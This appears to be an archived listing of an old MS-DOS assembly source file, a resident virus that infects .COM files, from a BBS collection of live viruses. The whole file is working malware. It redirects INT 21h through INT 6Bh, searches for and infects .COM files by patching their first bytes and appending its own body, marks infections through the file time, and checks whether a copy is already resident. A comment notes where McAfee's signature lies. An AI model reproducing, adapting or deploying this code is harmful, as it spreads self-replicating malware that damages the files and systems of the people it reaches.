home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / wrkingvi.asm < prev    next >
Assembly Source File  |  1990-02-21  |  7KB  |  401 lines

  1.  
  2. ;*****************************************************************************
  3. ;         VIRUS  DEMO (older ver not destructive do not change attr
  4. ;                  found by tsafe)
  5. ;-----------------------------------------------------------------------------
  6.  
  7. len    equ    023ah
  8. plen    equ    007bh
  9. cplace  equ    9800h
  10.  
  11. ;-----------------------------------------------------------------------------
  12. ;                    FIND FIRST FILE
  13. ;-----------------------------------------------------------------------------
  14. jmp    con
  15.  
  16. ; check if a virusing operation required.
  17.  
  18. cmp    ah,3dh ;open file
  19. je    con
  20. cmp    ah,0fh ;open file
  21. je     con
  22. cmp     ah,4bh ;exec!!!
  23. je    con
  24. cmp     ah,0eh ;select disk
  25. je    con
  26. cmp     ah,5bh ;create file
  27. je    con
  28. cmp    ah,16h ;create file
  29. je    con
  30. cmp    ah,3ch ;create file
  31. je    con
  32. cmp    ah,41h ;delete file
  33. je     con
  34. cmp    ah,13h ;delete file
  35. je    con
  36. cmp    ah,56h ;rename file
  37. je    con
  38. cmp    ah,17h ;rename file
  39. je    con
  40.  
  41.  
  42. ; end of check
  43.  
  44.  
  45. int    6bh
  46. iret
  47.  
  48.  
  49. con:    push    ax
  50. push    bx
  51. push    cx
  52. push     es
  53. push    ds
  54. push    dx
  55.  
  56.  
  57. mov    ah,1ah
  58. mov    dx,cs
  59. mov    ds,dx
  60. mov    dx,offset buff
  61. int    6bh
  62.  
  63. mov    ah,4eh
  64. mov    cx,0
  65. mov    dx,cs
  66. mov    ds,dx
  67. mov    dx,offset fname
  68. int    6bh
  69. jc    error1
  70.  
  71.  
  72.  
  73. ;----------------------------------------------------------------------------
  74. ;        CHECK THE TIME OF FILE TO SEE IF IT IS  31*2 SEC
  75. ;----------------------------------------------------------------------------
  76.  
  77. lfnd: mov ax,word ptr buff+16h
  78. and ax,31
  79. cmp ax,31
  80. jne maketim    ;if time not 31 make time 31 and continue
  81.  
  82. ; find next .com file
  83.  
  84. mov ah,4fh
  85. int 6bh
  86. jc error1
  87. jmp lfnd
  88.  
  89.  
  90. ;
  91. maketim:    mov ax,word ptr buff+16h
  92. and ax,65504    ;zero 5 firsty bits
  93. add ax,31
  94. mov word ptr buff+16h,ax    ; put the fixed date
  95.  
  96.  
  97.  
  98.  
  99.  
  100. ; find file size
  101.  
  102. ;mov ax,word ptr buff+1ah
  103.  
  104.  
  105.  
  106. ; open the file
  107.  
  108. mov    ah,3dh
  109. mov    al,2
  110. mov    dx,cs
  111. mov    ds,dx
  112. mov    dx,offset buff
  113. add    dx,30
  114. int    6bh
  115. jc    error1
  116. mov    fhandle,ax
  117.  
  118.  
  119.  
  120.  
  121.  
  122. ;------------------------------------
  123. ;    close
  124. ;-----------------------------------
  125.  
  126. jmp    cont
  127.  
  128. ;-----------------------------------------------------------------------------
  129. ;        NOT    FAR    ERROR (here mcafee searches for the string)
  130. ;-----------------------------------------------------------------------------
  131.  
  132. error1: jmp error
  133.  
  134. ;-----------------------------------------------------------------------------
  135. ;                PUT THE CALL INSTRUCTION CODE IN BUFF
  136. ;-----------------------------------------------------------------------------
  137.  
  138.  
  139. cont:    mov ax,word ptr buff+1ah    ; ax=the file size
  140. sub ax,3    ;find the disp for the jump code
  141. mov    buff+1,al
  142. mov    buff+2,ah
  143. mov    ax,00e8h
  144. mov    buff,al
  145.  
  146. ;-----------------------------------------------------------------------------
  147. ;        READ THE 3 FIRST BYTES FROM THE FILE
  148. ;-----------------------------------------------------------------------------
  149.  
  150. mov    ah,42h
  151. mov    al,0
  152. mov    bx,fhandle
  153. mov    cx,0
  154. mov    dx,0
  155. int    6bh
  156. jc    error1
  157.  
  158.  
  159. mov    ah,3fh
  160. mov    dx,cs
  161. mov    ds,dx
  162. mov    dx,offset buff
  163. add    dx,3
  164. mov    bx,fhandle
  165. mov    cx,3
  166. int    6bh
  167. jc    error1
  168. cmp    ax,cx
  169. jl    error1
  170.  
  171.  
  172. ;-----------------------------------------------------------------------------
  173. ;            MOVE 3 BYTES FROM BUFF+3 TO dat1-3
  174. ;-----------------------------------------------------------------------------
  175.  
  176. mov    al,buff+3
  177. mov    dat1,al
  178. mov    al,buff+4
  179. mov    dat2,al
  180. mov    al,buff+5
  181. mov    dat3,al
  182.  
  183. ;-----------------------------------------------------------------------------
  184. ;         WRITE THE JMP INSTRUCTION TO THE DISK
  185. ;-----------------------------------------------------------------------------
  186.  
  187.  
  188. mov    ah,42h
  189. mov    al,0
  190. mov    bx,fhandle
  191. mov    cx,0
  192. mov    dx,0
  193. int    6bh
  194. jc    error1
  195.  
  196.  
  197. mov    ah,40h
  198. mov    dx,cs
  199. mov    ds,dx
  200. mov    dx,offset buff
  201. mov    bx,fhandle
  202. mov    cx,3
  203. int    6bh
  204. jc    error
  205. cmp    ax,3
  206. jne    error
  207.  
  208.  
  209. ;-----------------------------------------------------------------------------
  210. ;    CALCULATE THE START ADDRESS OF THE VIRUS DATA ITSELF
  211. ;-----------------------------------------------------------------------------
  212.  
  213. mov ax,word ptr buff+1ah
  214. add    ax,100h
  215. add    ax,plen
  216. mov    sdat1,al
  217. mov    sdat1+1,ah
  218.  
  219. ;-----------------------------------------------------------------------------
  220. ;            WRITE THE VIRUS PREFIX TO DISK
  221. ;-----------------------------------------------------------------------------
  222.  
  223. mov    ah,42h
  224. mov    al,2
  225. mov    bx,fhandle
  226. mov    cx,0
  227. mov    dx,0
  228. int    6bh
  229. jc    error
  230.  
  231. mov    ah,40h
  232. mov    dx,cs
  233. mov    ds,dx
  234. mov    dx,offset data
  235. mov    bx,fhandle
  236. mov    cx,plen
  237. int    6bh
  238. jc    error
  239. cmp    ax,plen
  240. jne    error
  241.  
  242.  
  243. ;----------------------------------------------------------------------------
  244. ;
  245. ;----------------------------------------------------------------------------
  246.  
  247. mov    ah,40h
  248. mov    dx,cs
  249. mov    ds,dx
  250. mov    dx,0100h
  251. mov    bx,fhandle
  252. mov    cx,len
  253. int    6bh
  254. jc    error
  255. cmp    ax,len
  256. jne    error
  257.  
  258.  
  259. ;-----------------------------------------------------------------------------
  260. ;            set old date again + fixed time
  261. ;-----------------------------------------------------------------------------
  262.  
  263. mov ah,57h
  264. mov al,01h
  265. mov bx,fhandle
  266. mov cx,word ptr buff+16h
  267. mov dx,word ptr buff+18h
  268. int 6bh
  269.  
  270. ;-----------------------------------------------------------------------------
  271. ;            CLOSE FILE
  272. ;-----------------------------------------------------------------------------
  273.  
  274. error:    mov    ah,3eh
  275. mov    bx,fhandle
  276. int    6bh
  277.  
  278.  
  279. ;-----------------------------------------------------------------------------
  280.  
  281. ;-----------------------------------------------------------------------------
  282. ;            WRITE THE VIRUS TO DISK
  283. ;-----------------------------------------------------------------------------
  284.  
  285. pop    dx
  286. pop    ds
  287. pop    es
  288. pop    cx
  289. pop    bx
  290. pop    ax
  291.  
  292. int    6bh
  293.  
  294. iret
  295.  
  296.  
  297.  
  298.  
  299. ;*****************************************************************************
  300. ;                  DATA SECTION
  301. ;-----------------------------------------------------------------------------
  302.  
  303. buff    db    43 dup (0)
  304. fname    db    "*.COM",0
  305.  
  306. fhandle dw    ?
  307.  
  308.  
  309. data    db    198,6,0,1
  310. dat1    db    0
  311. datb    db    198,6,1,1
  312. dat2    db    0
  313. datc    db    198,6,2,1
  314. dat3    db    0
  315.  
  316.  
  317. pop    bx    ;change the call data to 100h
  318. mov    bx,100h
  319. push    bx
  320.  
  321. ; push all registeres
  322.  
  323. push    ax
  324. push    dx
  325. push    ds
  326.  
  327. ;-----------------------------------------------------------------------------
  328. ;            check if virus is already in MEMORY
  329. ;    if it is, use the one in memory
  330. ;-----------------------------------------------------------------------------
  331.  
  332. push ds
  333. mov ax,0
  334. mov ds,ax
  335. mov ax,[413h]
  336. mov bx,40h
  337. mul bx
  338. sub ax,867h
  339. mov cx,ax
  340. mov ax,[86h]
  341. pop ds
  342. cmp ax,cx
  343. je  ggo
  344. push cx
  345.  
  346. ;
  347.  
  348. mov     cx,len
  349. source    db    190    ;MOV SI,OFFSET SOURCE
  350. sdat1    db    0,0
  351. mov     di,100h
  352. push    cs
  353. pop    ds
  354. pop    es ;cplace-> now 9800h
  355. cld
  356. rep movsb
  357.  
  358.  
  359.  
  360. ;--------------------------------------------------------------------------
  361. ;        PUT INT 21H VECT. TO int 6bh
  362. ;--------------------------------------------------------------------------
  363. push    ds
  364. mov    ax,0
  365. mov    ds,ax
  366. push     [84h]
  367. pop     [1ach]
  368.  
  369. push    [85h]
  370. pop    [1adh]
  371.  
  372. push    [86h]
  373. pop    [1aeh]
  374.  
  375. push    [87h]
  376. pop    [1afh]
  377.  
  378. ;------------------------------------------------------------------------
  379. ;        HOOK THE VIRUS TO INT 21
  380. ;------------------------------------------------------------------------
  381.  
  382.  
  383. ; hook the virus
  384. mov    ax,102h
  385. mov    [84h],ax
  386. mov    [86h],es ;put cplace
  387. pop    ds
  388.  
  389. ;-----------------------------------------------------------------------
  390. ;
  391. ;-----------------------------------------------------------------------
  392. ggo:     mov    ah,0fh
  393. int    21h
  394.  
  395. ; pop all registeres
  396. pop ds
  397. pop dx
  398. pop ax
  399.  
  400. ret
  401.